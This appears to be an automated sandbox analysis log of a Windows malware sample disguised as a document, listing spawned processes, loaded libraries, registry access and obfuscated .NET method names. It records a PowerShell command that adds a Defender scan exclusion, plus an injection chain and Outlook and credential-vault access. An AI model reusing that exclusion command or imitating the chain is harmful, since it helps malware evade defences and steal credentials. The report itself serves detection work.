Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\SysWOW64\control.exe"
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe"	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\SysWOW64\control.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\control.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: PASU5160894680 DOCS.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PASU5160894680 DOCS.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Unexpected node type! Please add aupport for any new parse tree nodes to the AutoParseTreeVisitor class!VB$AnonymousDelegateVB$StateMachinemscorpe.dllCreateICeeFileGenCreateICeeFileGenDestroyICeeFileGenDestroyICeeFileGen%ld.Myalink.dllCreateALinkCreateALinkComImport_VtblGap As Integer.pdbCLSID_CorSymWriter&%s.sdatavector<T> too longS?~ source: control.exe, 00000006.00000002.4134255300.000000000541C000.00000004.10000000.00040000.00000000.sdmp, control.exe, 00000006.00000002.4133923961.0000000004EB7000.00000004.00000020.00020000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000000.1915538876.000000000344C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2136958626.00000000089CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: uFLByAWAOFbhtV.exe, 00000005.00000000.1766652300.0000000000BDE000.00000002.00000001.01000000.0000000C.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4132210801.0000000000BDE000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: control.pdb source: vbc.exe, 00000004.00000002.1846972436.0000000005148000.00000004.00000020.00020000.00000000.sdmp, uFLByAWAOFbhtV.exe, 00000005.00000002.4132695833.0000000000728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: vbc.exe, 00000004.00000002.1847344994.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000006.00000003.1849604630.00000000049AD000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000003.1847230408.00000000047F3000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000002.4133421919.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000006.00000002.4133421919.0000000004CFE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: vbc.exe, vbc.exe, 00000004.00000002.1847344994.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, control.exe, control.exe, 00000006.00000003.1849604630.00000000049AD000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000003.1847230408.00000000047F3000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000002.4133421919.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000006.00000002.4133421919.0000000004CFE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: vbc.pdb source: control.exe, 00000006.00000002.4134255300.000000000541C000.00000004.10000000.00040000.00000000.sdmp, control.exe, 00000006.00000002.4133923961.0000000004EB7000.00000004.00000020.00020000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000000.1915538876.000000000344C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2136958626.00000000089CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: control.pdbUGP source: vbc.exe, 00000004.00000002.1846972436.0000000005148000.00000004.00000020.00020000.00000000.sdmp, uFLByAWAOFbhtV.exe, 00000005.00000002.4132695833.0000000000728000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	.Net Code: FYToGybVc5 System.Reflection.Assembly.Load(byte[])
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	.Net Code: FYToGybVc5 System.Reflection.Assembly.Load(byte[])
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	.Net Code: FYToGybVc5 System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01A760A8 push dword ptr [ecx+ecx-75h]; iretd	0_2_01A760BA
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01AB2CBA push eax; iretd	0_2_01AB2CC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_004186EC push si; ret	4_2_00418702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0041804C push 700438E3h; retf	4_2_00418060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0041786E push ebx; iretd	4_2_004178DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_004030F0 push eax; ret	4_2_004030F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0041788A push ebx; iretd	4_2_004178DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0041A265 pushfd ; retf	4_2_0041A26C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_004132CA push edx; retf	4_2_004132CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_004186F4 push esi; ret	4_2_00418702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055A27FA pushad ; ret	4_2_055A27F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055A225F pushad ; ret	4_2_055A27F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D09AD push ecx; mov dword ptr [esp], ecx	4_2_055D09B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055A283D push eax; iretd	4_2_055A2858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055A1338 push eax; iretd	4_2_055A1369
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C0BF2C push es; retf	5_2_03C0BF2D
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C026A4 push edx; retf	5_2_03C026A8
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C0963F pushfd ; retf	5_2_03C09646
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C0459E push edx; iretd	5_2_03C045A0
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C06C48 push ebx; iretd	5_2_03C06CB6
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C06C64 push ebx; iretd	5_2_03C06CB6
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C07426 push 700438E3h; retf	5_2_03C0743A
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B909AD push ecx; mov dword ptr [esp], ecx	6_2_04B909B6
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C620D1 push edx; iretd	6_2_00C620D3
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C70041 push esp; iretd	6_2_00C70042
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C601D7 push edx; retf	6_2_00C601DB
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C67172 pushfd ; retf	6_2_00C67179
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C655F9 push si; ret	6_2_00C6560F
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C65601 push esi; ret	6_2_00C6560F
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C64797 push ebx; iretd	6_2_00C647E9
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C6477B push ebx; iretd	6_2_00C647E9

Source: PASU5160894680 DOCS.scr.exe

Static PE information: section name: .text entropy: 7.961122101465982

Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, W9j0hNrclYvl2EJnE9.cs	High entropy of concatenated method names: 'yNWQXpn2HA', 'rYcQkd2MHP', 'WZDQRNElat', 'RX4QMg4Iec', 'iKJQEBJo7Z', 'l8pRSyE3Xm', 'SUHROQB3bn', 'q8gRLogBQ8', 'ArfRDFCQ5s', 'lEYRCavPMm'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, SYHGI3689qTBw0EhYk.cs	High entropy of concatenated method names: 'xdDMULrtJp', 'YsvMxLc2hn', 'zJcMQJhynI', 'cYjQ1kXWjM', 'jH8Qz2dgaC', 'HpmMjT5IDI', 'wmtMqkPaB7', 'mSTM75JnmB', 'IimMBDnpLg', 'IN4MoAVdm0'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, A4XqRQkhHlmMIqCpGN.cs	High entropy of concatenated method names: 'Dispose', 'TkjqClJ9fs', 'Y8t721yEXm', 'lhOOOH8CPj', 'xEHq1daUMJ', 'tI8qzx7IGJ', 'ProcessDialogKey', 'o8K7jn9Iv4', 'aca7qfXK1h', 'pjl77IIvMC'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, VtvmtCHuFwanI5JuSv.cs	High entropy of concatenated method names: 'X0hxm1JKlb', 'uiaxWZ9ogQ', 'xiaxJnKWmP', 'oDqxHxmnIw', 'frFxIvRaUW', 'IA4xTOXCkw', 'zHsxffOub3', 'agxxa4kREp', 'mxoxP59bGj', 'vGtxYRlX1l'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	High entropy of concatenated method names: 'vSABXPmQCb', 'VbSBUrnyhM', 'tZdBkuZeEH', 'XGGBxMM45q', 'uBUBReMEIv', 'rDZBQYkDia', 'CRcBMdsmCM', 'MJtBEBguXE', 'JcLBKsOoQ7', 'LG2B8QbPWY'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, SZCI26qjQxOuNujNBtL.cs	High entropy of concatenated method names: 'CE9PN9hs5i', 'O9ePZAHSZr', 'u0GPGKBUwq', 'KttPmsDsSD', 'kZePFgGp1k', 'IX4PW9Qbrq', 'NtsP4YuOy4', 'FXTPJ5rBkJ', 'o27PHwFJks', 'hDpPgNvC1V'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, qLenhw5Sm7Lh6igBYm.cs	High entropy of concatenated method names: 'y2T3JSI97E', 'wbQ3HxG7r1', 'M7u3r6NrpR', 'lrb32nYpJg', 'nAp3vOUwUl', 'Mb43y8QY3q', 'pKY36OEsbw', 'elf3bqoJnP', 'EpG3uUbKxA', 'Q3L3leLol4'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, k1AUgJoTmD0W47iTUw.cs	High entropy of concatenated method names: 'RWyqMOPHjj', 'r1DqEReOpD', 'YuFq8wanI5', 'DuSqtvmh58', 'aUWqIZkL9j', 'ThNqTclYvl', 'LNyXUioRW6sWETFDkF', 'ywsYPoZbPWiUfQGxTD', 'EPLqqs4gBY', 'QE5qBwo612'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, bYKcFY7cuY0EWdIDkW.cs	High entropy of concatenated method names: 'GX0GXhYvC', 'nFHmGBROm', 'vfPWJC05N', 'vpR4FYHrf', 'uM0HC7Gny', 'vTPgaTy2T', 'jgbQ8msyxsjnLsRGGu', 'gCITGxwbXTBjgFuLUy', 'B4na3JfpR', 'I63YbYs2K'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, JOPHjjJP1DReOpDY0L.cs	High entropy of concatenated method names: 'i1skc05PDr', 'KK5keWQRlY', 'H1VkhJwtin', 'SoBk0cmIML', 'EEBkS9bqfA', 'rBbkOY4bb4', 'mtokLqk2ZP', 'J8NkDON2oy', 'xvfkC3qT2B', 'xddk1CC4as'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, AAWUNAzsprCkGEZgdJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'K33P3LWSaY', 'jo4PIxVWVl', 'BPAPTaeoxH', 'sEuPf0fx3L', 'YckPaZGT7V', 'MaDPPS4wZd', 'YjYPYTyIw8'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, oIvMCA10UN5HX1BU7M.cs	High entropy of concatenated method names: 'rcfPqAPZH6', 'ogiPB9W7aQ', 'yYyPocv8Wx', 'CkmPUyy0dq', 'tHaPkLKHM7', 'N7RPRq6jKB', 'vXsPQu1dr3', 'clWaLn1NQc', 'lboaDpHUHU', 'TZcaC5TMH9'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, NryRmlOIi6e1KpF7D5.cs	High entropy of concatenated method names: 'gVvfDN4BbY', 'MSwf1BRXVh', 'CtdajJmiTX', 'i2KaqgCR3u', 'nktflmJhO1', 'yy6fd6p0Eb', 'hZRf5u1loO', 'WsefcM2p1x', 'hqBfeioe0J', 'KmQfh2j1yj'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, kHdaUMDJYI8x7IGJI8.cs	High entropy of concatenated method names: 'IVEaUPTxEK', 'Gsvakfk3TI', 'cD8ax3yebM', 'oA7aR37YLE', 'YxyaQW5qa2', 'eGUaMSOGC8', 'z6kaEMfrT2', 'HAhaKZ3hKr', 'AIda8aAwFQ', 'Gw1atGbASY'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, ln9Iv4CjcafXK1hTjl.cs	High entropy of concatenated method names: 'SJ7arIJkvy', 'h22a2m0x6A', 'uKZaACSX7o', 'WOQavC9qlh', 'zUTacwabwE', 'MCFaykQAqS', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, Cv0gD6cuYxRYG4BACB.cs	High entropy of concatenated method names: 'u9jIuLs4S6', 'skDIdA4lUW', 'wYpIcYUqwB', 'sttIe3A5vX', 'vWCI2i28K9', 'G6bIApJmF7', 'MSjIvAom40', 'TNxIy79aIH', 'LMeIpQ7vbA', 'tktI6h2TDM'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, DJgbrHqBZJQYLJgo1mB.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'giJYcNVkSg', 'ijFYeNKJG9', 'AkuYhwY5LH', 'LPpY0cP1LN', 'Y6BYSDBuqe', 'WdlYO0Y6mi', 'dmPYLF2pd3'
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, Ah58cHg4t3yBSjUWZk.cs	High entropy of concatenated method names: 'O5nRF41oUs', 'BeNR4nYnk3', 'XLfxAgafyG', 'iU6xvhruBV', 'iO6xyIu6X6', 'oH6xp9PDZi', 'OE3x6497Bn', 'FFTxbecv8j', 'tKNx9MMtog', 'HZIxubkjib'
